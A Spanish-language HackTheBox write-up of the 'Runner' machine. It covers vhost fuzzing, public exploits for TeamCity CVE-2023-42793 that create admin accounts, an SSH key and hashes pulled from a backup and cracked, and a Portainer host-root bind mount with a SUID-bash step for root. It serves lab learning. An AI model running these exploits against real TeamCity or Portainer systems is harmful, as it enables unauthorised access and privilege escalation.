Runner – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Medium / Media
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Runner es una máquina de dificultad media de la plataforma HackTheBox. Luego de buscar por vhosts en esta máquina, encontramos un sitio web el cual está corriendo una versión vulnerable de TeamCity, con una vulnerabilidad catalogada como CVE-2023-42793, la cual nos permite crear/obtener credenciales para acceder al panel de este servicio. Ya dentro de este servicio, somos capaces de encontrar algunos archivos de respaldo los cuales contienen keys SSH para un usuario, ganando así acceso inicial a la máquina víctima. Una vez dentro, podemos ver que la máquina está corriendo internamente Portainer –una herramienta para administrar contenedores como, por ejemplo, Docker–, en el cual somos capaces de loguearnos gracias a una contraseña la cual también fue encontrada en los archivos de respaldo. Una vez dentro de este nuevo servicio interno, somos capaces de realizar una montura del sistema original en un contedor abusando de la vulnerabilidad CVE-2024-21626, lo cual nos permite tener acceso a archivos privilegiados dentro del sistema.
User / Usuario Link to heading
Empezando con un scan con Nmap muestra 3 puertos abiertos: 22 SSH, 80 HTTP y 8080 aparentemente corriendo el servicio Nagios XI.
❯ sudo nmap -sVC -p22,80,8000 10.10.11.13 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 21:36 -04
Nmap scan report for 10.10.11.13
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://runner.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.47 seconds
Del scan puedo ver que la conexión al puerto 80 redirige a http://runner.htb, de manera que agrego este dominio a mi archivo /etc/hosts:
❯ echo '10.10.11.13 runner.htb' | sudo tee -a /etc/hosts
10.10.11.13 runner.htb
Una vez agregado el dominio, visitando http://runner.htb muestra un simple sitio web haciendo referencia a optimización de código:
Muchos de los botones de esta web no funcionan y sólo somos capaces de enviar un e-mail a sales@runner.htb. Dado que no hay nada interesante aquí, empezamos a buscar subdominios que podrían estar aplicando vhosting con la herramienta ffuf. Ahora, la parte “tramposa” de esta máquina es que usualmente utilizamos el diccionario subdomains-top1million-XXXX.txt de SecLists, pero esta vez deberemos de utilizar otro distinto como /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt. Realizando esto tenemos:
❯ ffuf -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt:FUZZ -u http://runner.htb/ -H 'Host: FUZZ.runner.htb' -fs 154 -t 55
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://runner.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.runner.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 55
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________
teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 827ms]
:: Progress: [100000/100000] :: Job [1/1] :: 341 req/sec :: Duration: [0:04:36] :: Errors: 0 ::
de donde tenemos un nuevo subdominio: teamcity.runner.htb
Agregamos este nuevo subdominio a nuestro archivo/etc/hosts, de manera que ahora éste se verá como:
❯ tail -n 1 /etc/hosts
10.10.11.13 runner.htb teamcity.runner.htb
Visitando http://teamcity.runner.htb redirige a su directorio /login.html. El nuevo sitio encontrado es un panel de login:
Este sitio está, aparentemente, usando TeamCity.
TeamCity is used to build and test software products in an automated manner. It provides rapid feedback on every code change, reduces code integration problems, and leads to more effective teamwork. Many popular games, websites, banking systems, and all JetBrains products are built with TeamCityEn resumen, TeamCity es una herramienta que ayuda al desarrollo de software en los procesos de gestión que éste tiene (desarrollo, testing y deployment).
Alternativa 1: Exploit de repositorio de Github para extraer credenciales Link to heading
Buscando por TeamCity exploit en Google nos lleva a este repositorio de Github el cual se basa en la vulnerabilidad CVE-2023-42793. Básicamente, este exploit nos permite crear un nuevo usuario con privilegios de administrador. Esto es debido a que el endpoint /app/rest/users/id:1/tokens/RPC2 se encuentra expuesto sin requerir autenticación; de aquí uno podría obtener un token de autenticación (para un admin, por ejemplo). Basados en la página describiendo la vulnerabilidad, las versiones vulnerables son hasta 2023.05.4 (excluyente). De la página de login podemos ver que la versión es 2023.05.3, de manera que debería de ser vulnerable. Clonamos el repositorio nombrado al inicio y lo corremos:
❯ git clone https://github.com/H454NSec/CVE-2023-42793.git
Cloning into 'CVE-2023-42793'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (27/27), done.
remote: Total 28 (delta 12), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (28/28), 10.79 KiB | 216.00 KiB/s, done.
Resolving deltas: 100% (12/12), done.
❯ python3 CVE-2023-42793.py -u http://teamcity.runner.htb
[+] http://teamcity.runner.htb/login.html [H454NSec6009:@H454NSec]
de donde obtenemos credenciales: H454NSec6009:@H454NSec
Alternativa 2: Crear un nuevo usuario admin usando exploit de SearchSploit
Link to heading
Usando SearchSploit tenemos:
❯ searchsploit teamcity
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
JetBrains TeamCity 2018.2.4 - Remote Code Executio | java/remote/47891.txt
JetBrains TeamCity 2023.05.3 - Remote Code Executi | java/remote/51884.py
TeamCity < 9.0.2 - Disabled Registration Bypass | multiple/remote/46514.js
TeamCity Agent - XML-RPC Command Execution (Metasp | multiple/remote/45917.rb
TeamCity Agent XML-RPC 10.0 - Remote Code Executio | php/webapps/48201.py
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
Donde el exploit 51884 se ve prometedor.
Copio este script y lo corro. Aparentemente, la primera vez que corremos este script simplemente recolecta información de la máquina víctima:
❯ searchsploit -m 51884
<SNIP>
Copied to: /home/gunzf0x/HTB/HTBMachines/Medium/Runner/exploits/51884.py
❯ mv 51884.py teamcity_exploit.py
❯ python3 teamcity_exploit.py
<SNIP>
usage: teamcity_exploit.py [-h] -u URL [-v]
teamcity_exploit.py: error: the following arguments are required: -u/--url
❯ python3 teamcity_exploit.py -u http://teamcity.runner.htb
<SNIP>
Token already exists
Previous token deleted successfully
run this command again for creating new token & admin user.
Y si lo volvemos a correr ahora tenemos:
❯ python3 teamcity_exploit.py -u http://teamcity.runner.htb
<SNIP>
Token: eyJ0eXAiOiAiVENWMiJ9.YktIb0JhZ09yVVcxd011MUJNNXlXMWtzNkk0.ZTlkODdkZTgtNWI5YS00OWE0LWEzMTgtYzNjZjU3MDRhMzBk
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminE7xn
Password: Main_password!!**
donde se ha creado un usuario privilegiado con las credenciales que se muestran.
De vuelta al panel de login nos podemos loguear con las credenciales H454NSec6009:@H454NSec o podemos usar el usuario creado con el exploit de SearchSploit. Logeandonos con las credenciales dentro de TeamCity podemos ver un panel:
Si clickeamos en Administration en la parte superior izquierda tendremos lo siguiente:
Luego, al lado izquierdo, scrolleando hasta abajo hasta la sección de Server Administration soy capaz de ver una opción de Backup. Clickeando en esta opción podemos ver ahora:
Clickeando en Start Backup crea un archivo .zip la cual puede ser descargada.
Descargando y descomprimiendo el archivo .zip crea múltiples archivos:
❯ unzip TeamCity_Backup_20240529_025322.zip
Archive: TeamCity_Backup_20240529_025322.zip
TeamCity data backup; ZIP factory in use: memory-conservative (dynamic, shared); compression level -1.
<SNIP>
❯ ls -la
total 296
drwxr-xr-x 6 gunzf0x gunzf0x 4096 May 28 22:57 .
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 28 22:57 ..
---------- 1 gunzf0x gunzf0x 6 May 29 2024 charset
drwxr-xr-x 7 gunzf0x gunzf0x 4096 May 28 22:57 config
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 28 22:57 database_dump
---------- 1 gunzf0x gunzf0x 630 May 29 2024 export.report
drwxr-xr-x 2 gunzf0x gunzf0x 4096 May 28 22:57 metadata
drwxr-xr-x 3 gunzf0x gunzf0x 4096 May 28 22:57 system
-rw-r--r-- 1 gunzf0x gunzf0x 264776 May 28 22:56 TeamCity_Backup_20240529_025322.zip
---------- 1 gunzf0x gunzf0x 92 May 29 2024 version.txt
Usando el comando find decido buscar por nombres de archivos que puedan ser interesantes, como alguna key que pudiese tener el nombre id_rsa. Y hallamos algo:
❯ find . -name "*id_rsa*" 2>/dev/null
./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
Y leyendo ésta tenemos una key de SSH:
❯ chmod 600 ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
❯ cat ./config/projects/AllProjects/pluginData/ssh_keys/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
KgK8c9z2ecgZsAAAALam9obkBydW5uZXI=
-----END OPENSSH PRIVATE KEY-----
pero de momento no tengo usuarios. De manera que esta key, de momento, no es útil por sí sola.
De vuelta al panel de TeamCity, en Administration puedo ver una opción de Users. Clickeando en ésta muestra una tabla:
de donde puedo ver distintos usuarios los cuales han sido agregados a medida que fui testeando los exploits. No obtante, puedo ver 2 usuarios que no parecen ser de los exploits: john y matthew.
Guardo estos usuarios en un archivo llamado potential_users.txt y con NetExec reviso si alguno de estos usuarios se puede loguear a través de SSH con la key que hemos encontrado:
❯ netexec ssh 10.10.11.13 -u potential_users.txt --key-file id_rsa -p ''
SSH 10.10.11.13 22 10.10.11.13 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
SSH 10.10.11.13 22 10.10.11.13 [-] matthew: (keyfile: id_rsa) Authentication failed.
SSH 10.10.11.13 22 10.10.11.13 [+] john: (keyfile: id_rsa) (non root) Linux - Shell access!
De manera que esta key funciona para el usuario john. Nos logueamos entonces por SSH como este usuario:
❯ ssh -i id_rsa john@10.10.11.13
<SNIP>
john@runner:~$
y podemos obtener la flag de usuario en el directorio /home/john.
Root Link to heading
Noto que, como habíamos visto anteriormente, hay 2 usuarios en la máquina llamados john y matthew:
john@runner:~$ ls /home
john matthew
Ahora que tenemos usuarios, también dedicod chequear si sus nombres estaban contenidos dentro el archivo backup que habíamos descargado previamente. Buscando por la cadena john nos da:
❯ sudo grep -ri "john" .
./database_dump/comments:201, -42, 1709746543407, "New username: \'admin\', new name: \'John\', new email: \'john@runner.htb\'"
./database_dump/users:1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1716949177384, BCRYPT
de donde puedo ver un hash el cual decido guardar.
Si busco por la cadena matthew obtengo:
❯ sudo grep -ri "matthew" .
./config/projects/AllProjects/project-config.xml.1: <description>Matthew's projects</description>
./config/_trash/AllProjects.project1/project-config.xml: <description>Matthew's projects</description>
./database_dump/users:2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
./database_dump/vcs_username:2, anyVcs, -1, 0, matthew
./system/pluginData/audit/configHistory/projects/project1/config.xml.1: <description>Matthew's projects</description>
de donde puedo ver otro hash.
Guardo ambos hashes en un archivo en mi máquina de atacante u trato de crackearlos a través de un Brute Force Password Cracking (crackear las contraseñas por fuerza bruta) con la herramienta JohnTheRipper junto con el diccionario rockyou.txt:
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 128 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
piper123 (matthew)
1g 0:00:06:22 2.66% (ETA: 04:06:53) 0.002615g/s 1160p/s 1296c/s 1296C/s 303606..301298
Use the "--show" option to display all of the cracked passwords reliably
de donde obtenemos credenciales: matthew:piper123. Sin embargo, estas credenciales no funcionan para pivotear internamente al usuario matthew dentro de la máquina, de manera que las guardamos para después.
De vuelta a la máquina víctima, busco por puertos abiertos:
john@runner:~$ ss -ntlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.1:9000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:5005 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9443 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8111 0.0.0.0:*
LISTEN 0 4096 *:8000 *:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
Luego de explorar un poco, noot que el puerto 9000, el cual no estaba públicamente expuesto, es un sitio web gracias a cURL:
john@runner:~$ curl -s http://localhost:9000 | head -n 3
<!doctype html><html lang="en" ng-app="portainer" ng-strict-di data-edition="CE"><head><meta charset="utf-8"/><title>Portainer</title><meta name="description" content=""/><meta name="author" content="Portainer.io"/><meta http-equiv="cache-control" content="no-cache"/><meta http-equiv="expires" content="0"/><meta http-equiv="pragma" content="no-cache"/><base id="base"/><script>if (window.origin == 'file://') {
// we are loading the app from a local file as in docker extension
document.getElementById('base').href = 'http://localhost:49000/';
Dado que tenemos credenciales por SSH, podemos tratar de performar un Local Port Forwarding para ganar acceso al puerto interno identificado. Salgo de la sesión actual de SSH, y me reconecto a la máquina víctima, pero esta vez convierto el puerto 9000 de la máquina víctima en mí puerto 9000 también. Para esto corremos:
❯ ssh -i id_rsa -L 9000:localhost:9000 john@10.10.11.13
Hecho esto, visitamos http://localhost:9000 en mi browser de internet y puedo ver un sitio web corriendo Portainer:
Portainer is a tool that can be used to monitor your Docker installation, interact with containerized apps, and deploy new stacks with minimal effort. A single Portainer instance can connect to multiple Docker hosts, centralizing your containerDocker proporcionando una interfaz gráfica.Luego de una breve investigación encuentro este blog en donde se explica cómo abusar de una running condition con Docker. Ésta se basa en CVE-2024-21626 de donde, en corto, se abusa de un running condition para que un container pueda acceder a la raíz / del sistema. Y de allí viene el nombre de la máquina: “Runner” -> Abusar de runC (running conditions).
Trato de loguearme con las únicas credenciales que hemos hallado, aquellas para el usuario matthew (matthew:piper123). Y las credenciales funcionan. Una vez dentro podemos ver:
Si clickeo el container que dice primary ahora tenemos más opciones mostradas al lado izquierdo. Primero, agregamos un Volume (qué es lo que es un Volume está mejor explicado aquí). Básicamente, “un volumen es un área de almacenamiento de datos que puede montarse en un contenedor para proporcionar almacenamiento persistente”. De manera que podemos crear un nuevo Volume para evitar problemas a futuro. Siguiendo las instrucciones de cómo agregar un Volume es Portainer, podemos ir a Volume, luego Add volume. En mi caso le daré el nombre de test y como la opción Driver selecciono local. Finalmente, quiero que éste sea un volumen Private (privado).
Donde, además, clickeo en add driver option y agrego las opciones: driver:/, o:bind, type:none dado que queremos crear un Volume tal cual se explica aquí.
Clickeando en la opción Volume y luego en nuestro Volume recién creado (llamado test), deberíamos de ver:
Ahora que hemos verificado que hemos creado un Volume, vamos a Containers y creamos un nuevo container usando la opción Add container. Si todo va bien ahora deberíamos de ver:
como Image (imagen del container) elio la opción teamcity:latest, dado que, si visitamos la sección de Images podemos ver que hay 2 imágenes disponibles:
de manera que simplemente usé la que no estaba siendo usada.
Yendo a la parte inferior de la parte de container creator, puedo ver una sección llamada Advanced container settings. Allí, en la pestaña Command & logging seleccionaré la opción Interactive & TTY:
y en la pestaña de Volumes, clickeamos en + map additional volume. Pondré como container el valor /mnt/root (para crear una montura) y seleccionar el volumen que hemos creado (el cual, recordar, he llamado test):
Finalmente, clickeo en Deploy the container, espero y veo que éste container es creado tal cual puedo verificar en la sección Containers:
Clickeando en mi container puedo ver una opción de Console (consola) en la parte inferior de la primera ventana:
Clickeando en ésta spawnea una nueva ventana la cual nos pregunta como qué usuario queremos correr el container. Decimos que queremos correrlo como el usuario root y clickeamos en Connect:
Una nueva consola aparece. Analizando los contenidos a los que tenemos acceso con esta nueva consola noto que el directorio /mnt/root contiene una copia del directorio / (raíz) de la máquina original. Como podemos ver, el archivo root.txt está localizado en /mnt/root/root. De manera que podemos leer archivos los cuales sólo deberían poder ser leídos por root. No hay ningún archivo id_rsa para root, de manera que no nos podemos conectar via SSH. De todas formas, ya podemos leer la flag y con esto completamos la máquina:
Para acceder al sistema original podemos retocar los archivos dentro del directorio /mnt/root, los cuales a su vez modificarán los del sistema original. Por lo que podríamos, por ejemplo, asignar privilegios de SUID al binario de bash (corriendo chmod 4755 /bin/bash) y convertirnos en root con /bin/bash -p.
~ Happy Hacking